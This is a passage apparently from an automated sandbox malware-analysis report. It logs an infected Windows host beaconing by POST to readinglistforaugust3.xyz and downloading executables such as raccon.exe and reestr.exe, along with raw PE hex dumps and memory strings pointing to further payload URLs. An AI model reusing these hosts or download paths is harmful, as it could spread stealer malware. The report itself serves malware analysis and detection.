00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:52 GMTContent-Type: application/x-msdos-programContent-Length: 83784Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "14748-57aa1f0b0df80"Expires: Wed, 25 Aug 2021 12:01:52 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown

HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49736 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: GET /reestr.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: GET /raccon.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 351Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 220Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: GET /5.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.49.70.90:2080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 213Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 184Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 423Host: readinglistforaugust3.xyz

Source: unknown

Network traffic detected: DNS query count 50

Source: global traffic

TCP traffic: 192.168.2.3:49725 -> 185.49.70.90:2080

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 24 Aug 2021 12:01:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=3Vary: Accept-EncodingData Raw: 33 66 66 36 36 0d 0a 19 00 00 00 0f ca 2f 86 77 38 03 07 60 d2 80 a2 bd 69 d9 2a 54 11 f9 3f 11 11 69 c6 03 00 ca e6 04 00 01 d0 ea 5b 01 07 01 00 09 00 9c 03 00 00 9f 24 2b 84 9b 15 0f 1b 8d 31 3e 1f 89 00 1a 00 9a 9e 36 eb 35 c6 1f 1b 28 74 b4 ea e8 ba a8 25 a8 83 82 1b 73 98 df ea a8 d4 7e 16 a7 ef 2c 3e c2 32 14 ea be ef 24 3e 44 3a 13 90 7d 7e 96 3b 32 55 c2 af b2 7b 11 87 ff 09 93 b8 0e 89 4b 95 cb 9a bb 7e 96 48 44 e1 80 c2 33 8f c5 d0 d9 53 6d 17 df f2 e8 40 70 c8 8c 5b a2 7d 08 fb 77 ac b1 da 74 68 df 2b 53 27 b4 4d 72 56 b6 6f 03 90 e0 b7 2e bd 97 54 51 d0 24 c3 4a ff 42 97 9f a3 7e 79 5d 43 0d c5 83 80 6a 74 a6 9b 8d 69 d5 01 98 3e 25 7d c0 5c 60 26 0e 9f 7d 03 0a f7 f8 bd 9a 54 e0 ee 28 f7 34 f4 2f d0 8c 1e 0c 81 10 65 a1 bd 57 6f a5 98 bb b7 84 ef a1 b2 95 45 71 c2 0e c2 db ce de df 0d 32 48 57 a1 05 14 7e e4 f3 6d 49 73 a4 95 73 72 7e 2f 8c 8d df bc ae af 30 1b ae 49 95 a1 e1 82 bf c9 5c 5c 1e ea ec be 4a 0e 4d 26 50 4d a1 0f 25 77 b9 78 a7 a3 e4 48 f3 77 68 be 20 f2 7f b2 8b 88 bb 1f a1 28 57 50 e1 f4 60 cb 93 bf 5a 5e 7f 5d 54 b6 04 a6 3f fd 8a 05 83 18 e7 4c 8e d0 16 e2 c2 c8 9c e0 de 7c 62 9d fc 80 0b 82 d3 1a 9a b7 3d 67 c1 c7 09 b0 da 98 f4 df a6 e2 bf 34 64 06 bd cc 4b 23 5d b2 f6 90 1a 5e 08 07 8b e1 b4 d7 b1 87 4f 0a 40 85 48 44 9d 22 6c d2 e4 64 30 e5 28 45 d7 b7 95 6f 44 6d 98 4f f7 24 09 b9 cd c5 78 d4 b9 26 5f fe 35 ae 11 99 71 e2 8e a1 6c 28 f7 8f ef 97 a0 4d 1b 8c b6 b4 d0 76 f4 2c 5b 7d 92 dd 01 a7 1e ec c1 19 e6 ca ca ab 84 31 b4 be c5 d6 c6 2b cc 67 14 cf 59 cb 79 4e c7 cd 9e a3 e0 13 8d 90 65 b7 d2 4c 1f 71 bc 21 5e 7e f5 1b ca a3 a7 59 e4 af f4 03 e1 e7 d4 0c 7d 8f 06 8d 47 10 b0 b5 c5 0a 91 e3 74 92 3b e0 3a 5f 81 e4 ca 30 53 48 2b 7c ce 8f a6 21 61 85 16 7a 1d 4c 83 ed 89 18 08 96 38 8a b2 74 70 5e 90 e5 f0 9a 0e 54 32 1b ff be 50 40 27 48 81 b0 b0 d2 44 2f a9 82 63 2b 40 34 ac e0 5a 84 7c da e9 4e fc 17 5a 66 70 00 11 e3 d1 e2 79 47 1a 8d b4 00 b0 db 14 e8 54 94 38 23 e6 d9 94 3d 42 13 2a f9 af 54 f1 d8 f7 b4 0f 6e c0 03 2b 57 dc da 77 02 5a 65 e0 66 91 02 29 ed b2 cc 4c 8f 21 d3 9c 04 d0 86 e1 7d b9 cc ff ae b5 75 2b c6 8a 7b 79 3e 20 d3 cc ed a9 48 4b 8b 40 dc 74 94 a9 4d 5b ef 95 f5 82 73 8c 44 c1 9f 4a 5d 1d 30 c6 2a 97 99 d4 a2 9c 2c 25 57 d1 39 a6 c5 df ff 04 8e c4 79 3f 20 01 53 02 d1 69 3a 77 0f 2c 71 f4 95 d4 73 ae 8a 22 30 6f 21 40 5b e5 1d b6 7c 14 52 ba 02 65 cc f4 45 93 f6 4f f6 e6 e2 57 c7 20 13 ea dc 43 ab dc ba f5 a4 04 99 c9 71 fd a8 17 1e 54 40 8e 8c 73 90 f5 b5 c0 f6 c4 5a d8 ce f7 9a 4b 90 ec ea 10 27 d9 62 02 b7 d2 5a bb 08 fb 19 27 87 f0 12 4e e0 4a 1a 46 c4 09 d9 cb a1 b9 27 d8 1d 95 7a c6 78 12 a8 2e fd 61 dd 7f ed 3e a2 8d f3 ae bd a3 b6 67 0c ac ee 95 f1 13 a2 1a c3 3d fe 66 ca 45 34 c6 65 67 ca 4c 79 d1 f1 b4 74 8d 7e e3 da b7 8a 9c 02 dd e5 f6 5f c8 f9 c6 61 bc a

Source: explorer.exe, 00000003.00000000.286829936.000000000F640000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000004.00000003.613664606.000001FAC060F000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: svchost.exe, 00000004.00000003.613664606.000001FAC060F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: svchost.exe, 00000004.00000003.613664606.000001FAC060F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: 66AE.exe, 00000018.00000002.427076895.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 66AE.exe	String found in binary or memory: http://secureteam.net/ErrorReporting.asmx
Source: 66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	String found in binary or memory: http://secureteam.net/webservices/CreateErrorReport
Source: 66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	String found in binary or memory: http://secureteam.net/webservices/T
Source: 66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	String found in binary or memory: http://secureteam.net/webservices/TU
Source: 66AE.exe, 00000018.00000002.429442283.0000000002BA1000.00000004.00000001.sdmp	String found in binary or memory: http://secureteam.net/webservices/Y
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: http://swretjhwrtj.gq
Source: 66AE.exe, 00000018.00000002.427076895.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: http://swretjhwrtj.gq/
Source: 66AE.exe, 00000018.00000002.428339139.0000000002B73000.00000004.00000001.sdmp, 66AE.exe, 00000018.00000002.431939031.0000000002C19000.00000004.00000001.sdmp	String found in binary or memory: http://swretjhwrtj.gq/CPU.exe
Source: 66AE.exe, 00000018.00000002.428339139.0000000002B73000.00000004.00000001.sdmp	String found in binary or memory: http://swretjhwrtj.gq/GPU.exe
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: svchost.exe, 0000000B.00000002.311878945.0000020810213000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
